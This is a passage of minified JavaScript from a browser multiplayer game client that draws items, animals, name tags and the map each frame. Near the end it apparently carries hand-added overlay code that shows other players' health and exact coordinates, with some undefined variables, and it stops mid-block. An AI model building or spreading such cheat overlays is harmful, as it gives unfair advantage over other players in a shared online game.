4569 for (var n = 0; n < l.weapons.length; ++n) l.weapons[n].age == t && (null == l.weapons[n].pre || R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
4570 id: "upgradeItem" + n,
4571 class: "actionBarItem",
4572 onmouseout: function () {
4573 Tt()
4574 },
4575 parent: Ve
4576 }).style.backgroundImage = document.getElementById("actionBarItem" + n).style.backgroundImage, _n.push(n));
4577 for (n = 0; n < l.list.length; ++n)
4578 if (l.list[n].age == t && (null == l.list[n].pre || R.items.indexOf(l.list[n].pre) >= 0)) {
4579 var i = l.weapons.length + n;
4580 s.generateElement({
4581 id: "upgradeItem" + i,
4582 class: "actionBarItem",
4583 onmouseout: function () {
4584 Tt()
4585 },
4586 parent: Ve
4587 }).style.backgroundImage = document.getElementById("actionBarItem" + i).style.backgroundImage, _n.push(i)
4588 } for (n = 0; n < _n.length; n++) ! function (e) {
4589 var t = document.getElementById("upgradeItem" + e);
4590 t.onmouseover = function () {
4591 l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e - l.weapons.length])
4592 }, t.onclick = s.checkTrusted((function () {
4593 r.send("6", e)
4594 })), s.hookTouchEvents(t)
4595 }(_n[n]);
4596 _n.length ? (Ve.style.display = "block", qe.style.display = "block", qe.innerHTML = "SELECT ITEMS (" + e + ")") : (Ve.style.display = "none", qe.style.display = "none", Tt())
4597 } else Ve.style.display = "none", qe.style.display = "none", Tt()
4598 }
4599
4600 function Dn(e, t, n) {
4601 null != e && (R.XP = e), null != t && (R.maxXP = t), null != n && (R.age = n), n == o.maxAge ? (ze.innerHTML = "MAX AGE", He.style.width = "100%") : (ze.innerHTML = "AGE " + R.age, He.style.width = R.XP / R.maxXP * 100 + "%")
4602 }
4603
4604 function Ln(e) {
4605 s.removeAllChildren(De);
4606 for (var t = 1, n = 0; n < e.length; n += 3) ! function (n) {
4607 s.generateElement({
4608 class: "leaderHolder",
4609 parent: De,
4610 children: [s.generateElement({
4611 class: "leaderboardItem",
4612 style: "color:" + (e[n] == j ? "#fff" : "rgba(255,255,255,0.6)"),
4613 text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
4614 }), s.generateElement({
4615 class: "leaderScore",
4616 text: s.kFormat(e[n + 2]) || "0"
4617 })]
4618 })
4619 }(n), t++
4620 }
4621
4622 function Fn(e, t, n, i) {
4623 be.save(), be.setTransform(1, 0, 0, 1, 0, 0), be.scale(V, V);
4624 var r = 50;
4625 be.beginPath(), be.arc(e, t, r, 0, 2 * Math.PI, !1), be.closePath(), be.fillStyle = "rgba(255, 255, 255, 0.3)", be.fill(), r = 50;
4626 var s = n - e,
4627 a = i - t,
4628 o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2)),
4629 c = o > r ? o / r : 1;
4630 s /= c, a /= c, be.beginPath(), be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !1), be.closePath(), be.fillStyle = "white", be.fill(), be.restore()
4631 }
4632
4633 function zn(e, t, n) {
4634 for (var i = 0; i < G.length; ++i)(_ = G[i]).active && _.layer == e && (_.update(P), _.active && ki(_.x - t, _.y - n, _.scale) && (be.save(), be.translate(_.x - t, _.y - n), be.rotate(_.dir), Vn(0, 0, _, be, 1), be.restore()))
4635 }
4636 var Hn = {};
4637
4638 function Vn(e, t, n, i, r) {
4639 if (n.src) {
4640 var s = l.projectiles[n.indx].src,
4641 a = Hn[s];
4642 a || ((a = new Image).onload = function () {
4643 this.isLoaded = !0
4644 }, a.src = ".././img/weapons/" + s + ".png", Hn[s] = a), a.isLoaded && i.drawImage(a, e - n.scale / 2, t - n.scale / 2, n.scale, n.scale)
4645 } else 1 == n.indx && (i.fillStyle = "#939393", si(e, t, n.scale, i))
4646 }
4647
4648 function qn(e, t, n, i) {
4649 var r = o.riverWidth + i,
4650 s = o.mapScale / 2 - t - r / 2;
4651 s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
4652 }
4653
4654 function Yn(e, t, n) {
4655 for (var i, r, s, a = 0; a < N.length; ++a)(_ = N[a]).active && (r = _.x + _.xWiggle - t, s = _.y + _.yWiggle - n, 0 == e && _.update(P), _.layer == e && ki(r, s, _.scale + (_.blocker || 0)) && (be.globalAlpha = _.hideFromEnemy ? .6 : 1, _.isItem ? (i = ri(_), be.save(), be.translate(r, s), be.rotate(_.dir), be.drawImage(i, -i.width / 2, -i.height / 2), _.blocker && (be.strokeStyle = "#db6e6e", be.globalAlpha = .3, be.lineWidth = 6, si(0, 0, _.blocker, be, !1, !0)), be.restore()) : (i = ni(_), be.drawImage(i, r - i.width / 2, s - i.height / 2))))
4656 }
4657
4658 function Wn(e, t, n) {
4659 (_ = Ii(e)) && _.startAnim(t, n)
4660 }
4661
4662 function Xn(e, t, n) {
4663 be.globalAlpha = 1;
4664 for (var i = 0; i < W.length; ++i)(_ = W[i]).zIndex == n && (_.animate(P), _.visible && (_.skinRot += .002 * P, L = (_ == R ? pn() : _.dir) + _.dirPlus, be.save(), be.translate(_.x - e, _.y - t), be.rotate(L), Nn(_, be), be.restore()))
4665 }
4666
4667 function Nn(e, t) {
4668 (t = t || be).lineWidth = 5.5, t.lineJoin = "miter";
4669 var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1),
4670 i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1,
4671 r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
4672 if (e.tailIndex > 0 && function (e, t, n) {
4673 if (!(Gn = Qn[e])) {
4674 var i = new Image;
4675 i.onload = function () {
4676 this.isLoaded = !0, this.onload = null
4677 }, i.src = ".././img/accessories/access_" + e + ".png", Qn[e] = i, Gn = i
4678 }
4679 var r = $n[e];
4680 if (!r) {
4681 for (var s = 0; s < tt.length; ++s)
4682 if (tt[s].id == e) {
4683 r = tt[s];
4684 break
4685 } $n[e] = r
4686 }
4687 Gn.isLoaded && (t.save(), t.translate(-20 - (r.xOff || 0), 0), r.spin && t.rotate(n.skinRot), t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale, r.scale), t.restore())
4688 }(e.tailIndex, t, e), e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand && (ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0, t), null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)), t.fillStyle = o.skinColors[e.skinColor], si(e.scale * Math.cos(n), e.scale * Math.sin(n), 14), si(e.scale * r * Math.cos(-n * i), e.scale * r * Math.sin(-n * i), 14), e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand && (ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0, t), null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], be)), e.buildIndex >= 0) {
4689 var s = ri(l.list[e.buildIndex]);
4690 t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width / 2)
4691 }
4692 si(0, 0, e.scale, t), e.skinIndex > 0 && (t.rotate(Math.PI / 2), function e(t, n, i, r) {
4693 if (!(Gn = Jn[t])) {
4694 var s = new Image;
4695 s.onload = function () {
4696 this.isLoaded = !0, this.onload = null
4697 }, s.src = ".././img/hats/hat_" + t + ".png", Jn[t] = s, Gn = s
4698 }
4699 var a = i || Kn[t];
4700 if (!a) {
4701 for (var o = 0; o < et.length; ++o)
4702 if (et[o].id == t) {
4703 a = et[o];
4704 break
4705 } Kn[t] = a
4706 }
4707 Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale, a.scale), !i && a.topSprite && (n.save(), n.rotate(r.skinRot), e(t + "_top", n, a, r), n.restore())
4708 }(e.skinIndex, t, null, e))
4709 }
4710 var Gn, Jn = {},
4711 Kn = {},
4712 Qn = {},
4713 $n = {},
4714 Zn = {};
4715
4716 function ei(e, t, n, i, r) {
4717 var s = e.src + (t || ""),
4718 a = Zn[s];
4719 a || ((a = new Image).onload = function () {
4720 this.isLoaded = !0
4721 }, a.src = ".././img/weapons/" + s + ".png", Zn[s] = a), a.isLoaded && r.drawImage(a, n + e.xOff - e.length / 2, i + e.yOff - e.width / 2, e.length, e.width)
4722 }
4723 var ti = {};
4724
4725 function ni(e) {
4726 var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ? 1 : 0,
4727 n = e.type + "_" + e.scale + "_" + t,
4728 i = ti[n];
4729 if (!i) {
4730 var r = document.createElement("canvas");
4731 r.width = r.height = 2.1 * e.scale + 5.5;
4732 var a = r.getContext("2d");
4733 if (a.translate(r.width / 2, r.height / 2), a.rotate(s.randFloat(0, Math.PI)), a.strokeStyle = it, a.lineWidth = 5.5, 0 == e.type)
4734 for (var c, l = 0; l < 2; ++l) ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c), a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62" : "#9ebf57", a.fill(), l || a.stroke();
4735 else if (1 == e.type)
4736 if (2 == t) a.fillStyle = "#606060", ai(a, 6, .3 * e.scale, .71 * e.scale), a.fill(), a.stroke(), a.fillStyle = "#89a54c", si(0, 0, .55 * e.scale, a), a.fillStyle = "#a5c65b", si(0, 0, .3 * e.scale, a, !0);
4737 else {
4738 var h;
4739 ! function (e, t, n, i) {
4740 var r, a = Math.PI / 2 * 3,
4741 o = Math.PI / 6;
4742 e.beginPath(), e.moveTo(0, -i);
4743 for (var c = 0; c < 6; c++) r = s.randInt(n + .9, 1.2 * n), e.quadraticCurveTo(Math.cos(a + o) * r, Math.sin(a + o) * r, Math.cos(a + 2 * o) * i, Math.sin(a + 2 * o) * i), a += 2 * o;
4744 e.lineTo(0, -i), e.closePath()
4745 }(a, 0, _.scale, .7 * _.scale), a.fillStyle = t ? "#e3f1f4" : "#89a54c", a.fill(), a.stroke(), a.fillStyle = t ? "#6a64af" : "#c15555";
4746 var u = T / 4;
4747 for (l = 0; l < 4; ++l) si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) * Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
4748 }
4749 else 2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ? "#938d77" : "#939393" : "#e0c655", ai(a, 3, e.scale, e.scale), a.fill(), a.stroke(), a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" : "#ebdca3", ai(a, 3, .55 * e.scale, .65 * e.scale), a.fill());
4750 i = r, ti[n] = i
4751 }
4752 return i
4753 }
4754 var ii = [];
4755
4756 function ri(e, t) {
4757 var n = ii[e.id];
4758 if (!n || t) {
4759 var i = document.createElement("canvas");
4760 i.width = i.height = 2.5 * e.scale + 5.5 + (l.list[e.id].spritePadding || 0);
4761 var r = i.getContext("2d");
4762 if (r.translate(i.width / 2, i.height / 2), r.rotate(t ? 0 : Math.PI / 2), r.strokeStyle = it, r.lineWidth = 5.5 * (t ? i.width / 81 : 1), "apple" == e.name) {
4763 r.fillStyle = "#c15555", si(0, 0, e.scale, r), r.fillStyle = "#89a54c";
4764 var a = -Math.PI / 2;
4765 ! function (e, t, n, i, r) {
4766 var s = e + 25 * Math.cos(i),
4767 a = t + 25 * Math.sin(i);
4768 r.moveTo(e, t), r.beginPath(), r.quadraticCurveTo((e + s) / 2 + 10 * Math.cos(i + Math.PI / 2), (t + a) / 2 + 10 * Math.sin(i + Math.PI / 2), s, a), r.quadraticCurveTo((e + s) / 2 - 10 * Math.cos(i + Math.PI / 2), (t + a) / 2 - 10 * Math.sin(i + Math.PI / 2), e, t), r.closePath(), r.fill(), r.stroke()
4769 }(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI / 2, r)
4770 } else if ("cookie" == e.name) {
4771 r.fillStyle = "#dcc801", si(0, 0, e.scale, r), r.fillStyle = "#937c4b";
4772 for (var o = T / (h = 4), c = 0; c < h; ++c) si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
4773 } else if ("cheese" == e.name) {
4774 var h, u;
4775 for (r.fillStyle = "#f4f3ac", si(0, 0, e.scale, r), r.fillStyle = "#c3c28b", o = T / (h = 4), c = 0; c < h; ++c) si((u = s.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(o * c), u * Math.sin(o * c), s.randInt(4, 5), r, !0)
4776 } else if ("wood wall" == e.name || "stone wall" == e.name || "castle wall" == e.name) {
4777 r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall" == e.name ? "#a5974c" : "#939393";
4778 var f = "castle wall" == e.name ? 4 : 3;
4779 ai(r, f, 1.1 * e.scale, 1.1 * e.scale), r.fill(), r.stroke(), r.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood wall" == e.name ? "#c9b758" : "#bcbcbc", ai(r, f, .65 * e.scale, .65 * e.scale), r.fill()
4780 } else if ("spikes" == e.name || "greater spikes" == e.name || "poison spikes" == e.name || "spinning spikes" == e.name) {
4781 r.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
4782 var d = .6 * e.scale;
4783 ai(r, "spikes" == e.name ? 5 : 6, e.scale, d), r.fill(), r.stroke(), r.fillStyle = "#a5974c", si(0, 0, d, r), r.fillStyle = "#c9b758", si(0, 0, d / 2, r, !0)
4784 } else if ("windmill" == e.name || "faster windmill" == e.name || "power mill" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r), r.fillStyle = "#c9b758", ci(0, 0, 1.5 * e.scale, 29, 4, r), r.fillStyle = "#a5974c", si(0, 0, .5 * e.scale, r);
4785 else if ("mine" == e.name) r.fillStyle = "#939393", ai(r, 3, e.scale, e.scale), r.fill(), r.stroke(), r.fillStyle = "#bcbcbc", ai(r, 3, .55 * e.scale, .65 * e.scale), r.fill();
4786 else if ("sapling" == e.name)
4787 for (c = 0; c < 2; ++c) ai(r, 7, d = e.scale * (c ? .5 : 1), .7 * d), r.fillStyle = c ? "#b4db62" : "#9ebf57", r.fill(), c || r.stroke();
4788 else if ("pit trap" == e.name) r.fillStyle = "#a5974c", ai(r, 3, 1.1 * e.scale, 1.1 * e.scale), r.fill(), r.stroke(), r.fillStyle = it, ai(r, 3, .65 * e.scale, .65 * e.scale), r.fill();
4789 else if ("boost pad" == e.name) r.fillStyle = "#7e7f82", oi(0, 0, 2 * e.scale, 2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#dbd97d",
4790 function (e, t) {
4791 t = t || be;
4792 var n = e * (Math.sqrt(3) / 2);
4793 t.beginPath(), t.moveTo(0, -n / 2), t.lineTo(-e / 2, n / 2), t.lineTo(e / 2, n / 2), t.lineTo(0, -n / 2), t.fill(), t.closePath()
4794 }(1 * e.scale, r);
4795 else if ("turret" == e.name) r.fillStyle = "#a5974c", si(0, 0, e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#939393", oi(0, -25, .9 * e.scale, 50, r), si(0, 0, .6 * e.scale, r), r.fill(), r.stroke();
4796 else if ("platform" == e.name) {
4797 r.fillStyle = "#cebd5f";
4798 var p = 2 * e.scale,
4799 g = p / 4,
4800 m = -e.scale / 2;
4801 for (c = 0; c < 4; ++c) oi(m - g / 2, 0, g, 2 * e.scale, r), r.fill(), r.stroke(), m += p / 4
4802 } else "healing pad" == e.name ? (r.fillStyle = "#7e7f82", oi(0, 0, 2 * e.scale, 2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#db6e6e", ci(0, 0, .65 * e.scale, 20, 4, r, !0)) : "spawn pad" == e.name ? (r.fillStyle = "#7e7f82", oi(0, 0, 2 * e.scale, 2 * e.scale, r), r.fill(), r.stroke(), r.fillStyle = "#71aad6", si(0, 0, .6 * e.scale, r)) : "blocker" == e.name ? (r.fillStyle = "#7e7f82", si(0, 0, e.scale, r), r.fill(), r.stroke(), r.rotate(Math.PI / 4), r.fillStyle = "#db6e6e", ci(0, 0, .65 * e.scale, 20, 4, r, !0)) : "teleporter" == e.name && (r.fillStyle = "#7e7f82", si(0, 0, e.scale, r), r.fill(), r.stroke(), r.rotate(Math.PI / 4), r.fillStyle = "#d76edb", si(0, 0, .5 * e.scale, r, !0));
4803 n = i, t || (ii[e.id] = n)
4804 }
4805 return n
4806 }
4807
4808 function si(e, t, n, i, r, s) {
4809 (i = i || be).beginPath(), i.arc(e, t, n, 0, 2 * Math.PI), s || i.fill(), r || i.stroke()
4810 }
4811
4812 function ai(e, t, n, i) {
4813 var r, s, a = Math.PI / 2 * 3,
4814 o = Math.PI / t;
4815 e.beginPath(), e.moveTo(0, -n);
4816 for (var c = 0; c < t; c++) r = Math.cos(a) * n, s = Math.sin(a) * n, e.lineTo(r, s), a += o, r = Math.cos(a) * i, s = Math.sin(a) * i, e.lineTo(r, s), a += o;
4817 e.lineTo(0, -n), e.closePath()
4818 }
4819
4820 function oi(e, t, n, i, r, s) {
4821 r.fillRect(e - n / 2, t - i / 2, n, i), s || r.strokeRect(e - n / 2, t - i / 2, n, i)
4822 }
4823
4824 function ci(e, t, n, i, r, s, a) {
4825 s.save(), s.translate(e, t), r = Math.ceil(r / 2);
4826 for (var o = 0; o < r; o++) oi(0, 0, 2 * n, i, s, a), s.rotate(Math.PI / r);
4827 s.restore()
4828 }
4829
4830 function li(e) {
4831 for (var t = 0; t < e.length;) nt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[t + 4], e[t + 5], l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
4832 sid: e[t + 7]
4833 } : null), t += 8
4834 }
4835
4836 function hi(e, t) {
4837 (_ = Mi(t)) && (_.xWiggle += o.gatherWiggle * Math.cos(e), _.yWiggle += o.gatherWiggle * Math.sin(e))
4838 }
4839
4840 function ui(e, t) {
4841 (_ = Mi(e)) && (_.dir = t, _.xWiggle += o.gatherWiggle * Math.cos(t + Math.PI), _.yWiggle += o.gatherWiggle * Math.sin(t + Math.PI))
4842 }
4843
4844 function fi(e, t, n, i, r, s, a, o) {
4845 lt && (J.addProjectile(e, t, n, i, r, s, null, null, a).sid = o)
4846 }
4847
4848 function di(e, t) {
4849 for (var n = 0; n < G.length; ++n) G[n].sid == e && (G[n].range = t)
4850 }
4851
4852 function pi(e) {
4853 (_ = Ei(e)) && _.startAnim()
4854 }
4855
4856 function gi(e) {
4857 for (var t = 0; t < Y.length; ++t) Y[t].forcePos = !Y[t].visible, Y[t].visible = !1;
4858 if (e) {
4859 var n = Date.now();
4860 for (t = 0; t < e.length;)(_ = Ei(e[t])) ? (_.index = e[t + 1], _.t1 = void 0 === _.t2 ? n : _.t2, _.t2 = n, _.x1 = _.x, _.y1 = _.y, _.x2 = e[t + 2], _.y2 = e[t + 3], _.d1 = void 0 === _.d2 ? e[t + 4] : _.d2, _.d2 = e[t + 4], _.health = e[t + 5], _.dt = 0, _.visible = !0) : ((_ = Z.spawn(e[t + 2], e[t + 3], e[t + 4], e[t + 1])).x2 = _.x, _.y2 = _.y, _.d2 = _.dir, _.health = e[t + 5], Z.aiTypes[e[t + 1]].name || (_.name = o.cowNames[e[t + 6]]), _.forcePos = !0, _.sid = e[t], _.visible = !0), t += 7
4861 }
4862 }
4863 var mi = {};
4864
4865 function yi(e, t) {
4866 var n = e.index,
4867 i = mi[n];
4868 if (!i) {
4869 var r = new Image;
4870 r.onload = function () {
4871 this.isLoaded = !0, this.onload = null
4872 }, r.src = ".././img/animals/" + e.src + ".png", i = r, mi[n] = i
4873 }
4874 if (i.isLoaded) {
4875 var s = 1.2 * e.scale * (e.spriteMlt || 1);
4876 t.drawImage(i, -s, -s, 2 * s, 2 * s)
4877 }
4878 }
4879
4880 function ki(e, t, n) {
4881 return e + n >= 0 && e - n <= oe && t + n >= 0 && t - n <= ce
4882 }
4883
4884 function vi(e, t) {
4885 var n = function (e) {
4886 for (var t = 0; t < W.length; ++t)
4887 if (W[t].id == e) return W[t];
4888 return null
4889 }(e[0]);
4890 n || (n = new u(e[0], e[1], o, s, J, nt, W, Y, l, et, tt), W.push(n)), n.spawn(t ? H : null), n.visible = !1, n.x2 = void 0, n.y2 = void 0, n.setData(e), t && (U = (R = n).x, D = R.y, $t(), On(), Dn(), Un(0), Be.style.display = "block")
4891 }
4892
4893 function wi(e) {
4894 for (var t = 0; t < W.length; t++)
4895 if (W[t].id == e) {
4896 W.splice(t, 1);
4897 break
4898 }
4899 }
4900
4901 function bi(e, t) {
4902 R && (R.itemCounts[e] = t)
4903 }
4904
4905 function xi(e, t, n) {
4906 R && (R[e] = t, n && On())
4907 }
4908
4909 function Si(e, t) {
4910 (_ = Ii(e)) && (_.health = t)
4911 }
4912
4913 function Ti(e) {
4914 for (var t = Date.now(), n = 0; n < W.length; ++n) W[n].forcePos = !W[n].visible, W[n].visible = !1;
4915 for (n = 0; n < e.length;)(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2, _.t2 = t, _.x1 = _.x, _.y1 = _.y, _.x2 = e[n + 1], _.y2 = e[n + 2], _.d1 = void 0 === _.d2 ? e[n + 3] : _.d2, _.d2 = e[n + 3], _.dt = 0, _.buildIndex = e[n + 4], _.weaponIndex = e[n + 5], _.weaponVariant = e[n + 6], _.team = e[n + 7], _.isLeader = e[n + 8], _.skinIndex = e[n + 9], _.tailIndex = e[n + 10], _.iconIndex = e[n + 11], _.zIndex = e[n + 12], _.visible = !0), n += 13
4916 }
4917
4918 function Ii(e) {
4919 for (var t = 0; t < W.length; ++t)
4920 if (W[t].sid == e) return W[t];
4921 return null
4922 }
4923
4924 function Ei(e) {
4925 for (var t = 0; t < Y.length; ++t)
4926 if (Y[t].sid == e) return Y[t];
4927 return null
4928 }
4929
4930 function Mi(e) {
4931 for (var t = 0; t < N.length; ++t)
4932 if (N[t].sid == e) return N[t];
4933 return null
4934 }
4935 var Ai = -1;
4936
4937 function Pi() {
4938 var e = Date.now() - Ai;
4939 window.pingTime = e, Ie.innerText = "Ping: " + e + " ms"
4940 }
4941
4942 function Bi() {
4943 Ai = Date.now(), r.send("pp")
4944 }
4945
4946 function Ci(e) {
4947 if (!(e < 0)) {
4948 var t = Math.floor(e / 60),
4949 n = e % 60;
4950 n = ("0" + n).slice(-2), Ee.innerText = "Server will be crashed in " + t + ":" + n, Ee.hidden = !1
4951 }
4952 }
4953
4954 function Oi(e) {
4955 window.open(e, "_blank")
4956 }
4957 window.requestAnimFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function (e) {
4958 window.setTimeout(e, 1e3 / 60)
4959 },
4960 function () {
4961 var e = o.mapScale / 2;
4962 nt.add(0, e, e + 200, 0, o.treeScales[3], 0), nt.add(1, e, e - 480, 0, o.treeScales[3], 0), nt.add(2, e + 300, e + 450, 0, o.treeScales[3], 0), nt.add(3, e - 950, e - 130, 0, o.treeScales[2], 0), nt.add(4, e - 750, e - 400, 0, o.treeScales[3], 0), nt.add(5, e - 700, e + 400, 0, o.treeScales[2], 0), nt.add(6, e + 800, e - 200, 0, o.treeScales[3], 0), nt.add(7, e - 260, e + 340, 0, o.bushScales[3], 1), nt.add(8, e + 760, e + 310, 0, o.bushScales[3], 1), nt.add(9, e - 800, e + 100, 0, o.bushScales[3], 1), nt.add(10, e - 800, e + 300, 0, l.list[4].scale, l.list[4].id, l.list[10]), nt.add(11, e + 650, e - 390, 0, l.list[4].scale, l.list[4].id, l.list[10]), nt.add(12, e - 400, e - 450, 0, o.rockScales[2], 2)
4963 }(),
4964 function e() {
4965 B = Date.now(), P = B - q, q = B,
4966 function () {
4967 if (R && (!C || B - C >= 1e3 / o.clientSendRate) && (C = B, r.send("2", pn())), An < 120 && (An += .1 * P, Ge.style.fontSize = Math.min(Math.round(An), 120) + "px"), R) {
4968 var e = s.getDistance(U, D, R.x, R.y),
4969 t = s.getDirection(R.x, R.y, U, D),
4970 n = Math.min(.01 * e * P, e);
4971 e > .05 ? (U += n * Math.cos(t), D += n * Math.sin(t)) : (U = R.x, D = R.y)
4972 } else U = o.mapScale / 2, D = o.mapScale / 2;
4973 for (var i = B - 1e3 / o.serverUpdateRate, a = 0; a < W.length + Y.length; ++a)
4974 if ((_ = W[a] || Y[a - W.length]) && _.visible)
4975 if (_.forcePos) _.x = _.x2, _.y = _.y2, _.dir = _.d2;
4976 else {
4977 var c = _.t2 - _.t1,
4978 l = (i - _.t1) / c;
4979 _.dt += P;
4980 var h = Math.min(1.7, _.dt / 170),
4981 u = _.x2 - _.x1;
4982 _.x = _.x1 + u * h, u = _.y2 - _.y1, _.y = _.y1 + u * h, _.dir = Math.lerpAngle(_.d2, _.d1, Math.min(1.2, l))
4983 } var f = U - oe / 2,
4984 d = D - ce / 2;
4985 o.snowBiomeTop - d <= 0 && o.mapScale - o.snowBiomeTop - d >= ce ? (be.fillStyle = "#b6db66", be.fillRect(0, 0, oe, ce)) : o.mapScale - o.snowBiomeTop - d <= 0 ? (be.fillStyle = "#dbc666", be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= ce ? (be.fillStyle = "#fff", be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= 0 ? (be.fillStyle = "#fff", be.fillRect(0, 0, oe, o.snowBiomeTop - d), be.fillStyle = "#b6db66", be.fillRect(0, o.snowBiomeTop - d, oe, ce - (o.snowBiomeTop - d))) : (be.fillStyle = "#b6db66", be.fillRect(0, 0, oe, o.mapScale - o.snowBiomeTop - d), be.fillStyle = "#dbc666", be.fillRect(0, o.mapScale - o.snowBiomeTop - d, oe, ce - (o.mapScale - o.snowBiomeTop - d))), In || ((ee += te * o.waveSpeed * P) >= o.waveMax ? (ee = o.waveMax, te = -1) : ee <= 1 && (ee = te = 1), be.globalAlpha = 1, be.fillStyle = "#dbc666", qn(f, d, be, o.riverPadding), be.fillStyle = "#91b2db", qn(f, d, be, 250 * (ee - 1))), be.lineWidth = 4, be.strokeStyle = "#000", be.globalAlpha = .06, be.beginPath();
4986 for (var p = -U; p < oe; p += ce / 18) p > 0 && (be.moveTo(p, 0), be.lineTo(p, ce));
4987 for (var g = -D; g < ce; g += ce / 18) p > 0 && (be.moveTo(0, g), be.lineTo(oe, g));
4988 for (be.stroke(), be.globalAlpha = 1, be.strokeStyle = it, Yn(-1, f, d), be.globalAlpha = 1, be.lineWidth = 5.5, zn(0, f, d), Xn(f, d, 0), be.globalAlpha = 1, a = 0; a < Y.length; ++a)(_ = Y[a]).active && _.visible && (_.animate(P), be.save(), be.translate(_.x - f, _.y - d), be.rotate(_.dir + _.dirPlus - Math.PI / 2), yi(_, be), be.restore());
4989 if (Yn(0, f, d), zn(1, f, d), Yn(1, f, d), Xn(f, d, 1), Yn(2, f, d), Yn(3, f, d), be.fillStyle = "#000", be.globalAlpha = .09, f <= 0 && be.fillRect(0, 0, -f, ce), o.mapScale - f <= oe) {
4990 var y = Math.max(0, -d);
4991 be.fillRect(o.mapScale - f, y, oe - (o.mapScale - f), ce - y)
4992 }
4993 if (d <= 0 && be.fillRect(-f, 0, oe + f, -d), o.mapScale - d <= ce) {
4994 var k = Math.max(0, -f),
4995 v = 0;
4996 o.mapScale - f <= oe && (v = oe - (o.mapScale - f)), be.fillRect(k, o.mapScale - d, oe - k - v, ce - (o.mapScale - d))
4997 }
4998 for (be.globalAlpha = 1, be.fillStyle = "rgba(0, 0, 70, 0.35)", be.fillRect(0, 0, oe, ce), be.strokeStyle = rt, a = 0; a < W.length + Y.length; ++a)
4999 if ((_ = W[a] || Y[a - W.length]).visible && (10 != _.skinIndex || _ ==
5000 R || _.team && _.team == R.team)) {//〖〗
5001 var w = (_.team ? "〖" + _.team + "〗" : "") + (_.isPlayer&&_.sid? "༺ " : "") + (_.name + " ༻"|| "");
5002 if ("" != w) {
5003 if (be.font = (_.nameScale || 25) + "px Hammersmith One", be.fillStyle = namecolor ,
5004 be.textBaseline = "middle", be.textAlign = "center", be.lineWidth =
5005 _.nameScale ? 11 : 8, be.lineJoin = "round", be.strokeStyle = "black", be.strokeText(w, _.x -
5006 f, _.y - d - _.scale - o.nameY), be.fillText(w, _.x - f, _.y - d -
5007 _.scale - o.nameY), _.isLeader && Rn.crown.isLoaded) {
5008 var b = o.crownIconScale;
5009 k = _.x - f - b / 2 - be.measureText(w).width / 2 - o.crownPad, be.drawImage(
5010 Rn.crown, k, _.y - d - _.scale - o.nameY - b / 2 - 5, b, b)
5011 }
5012 1 == _.iconIndex && Rn.skull.isLoaded && (b = o.crownIconScale, k = _
5013 .x - f - b / 2 + be.measureText(w).width / 2 + o.crownPad, be.drawImage(
5014 Rn.skull, k, _.y - d - _.scale - o.nameY - b / 2 - 5, b, b))
5015 }
5016 window.w = R.weapons;
5017 var HP1234 = ("HP: " + _.dmgOverTime + "/" + _.maxHealth);
5018 var cord1234 = ("⇦⇨ : " + Math.round(_.x) + " | ⇧⇩ : " + Math.round(_.y));
5019 //var info121 = ( " reloadz: " + _.reloads.weaponIndex + " age: " + _.age + " weaponIndex: " + _.weaponIndex + " dmg: " +_.dmgOverTime)
5020 var r1213 = Math.floor(Math.random() * (256));
5021 var g1213 = Math.floor(Math.random() * (256));
5022 var b1213 = Math.floor(Math.random() * (256));
5023 var color = '#' + r1213.toString(16) + g1213.toString(16) + b1213.toString(16);
5024 (be.textAlign = "center",
5025 be.fillStyle = "#fff",
5026 be.font = "20px Hammersmith One",
5027 be.strokeStyle = "black",
5028 be.lineWidth = HP,
5029 be.strokeText(HP1234 ,_.x - f,_.y - d + _.scale + o.nameY+(HP1)),
5030 be.fillText(HP1234 ,_.x - f,_.y - d + _.scale + o.nameY+(HP1))
5031 )
5032 if(R.isPlayer) {
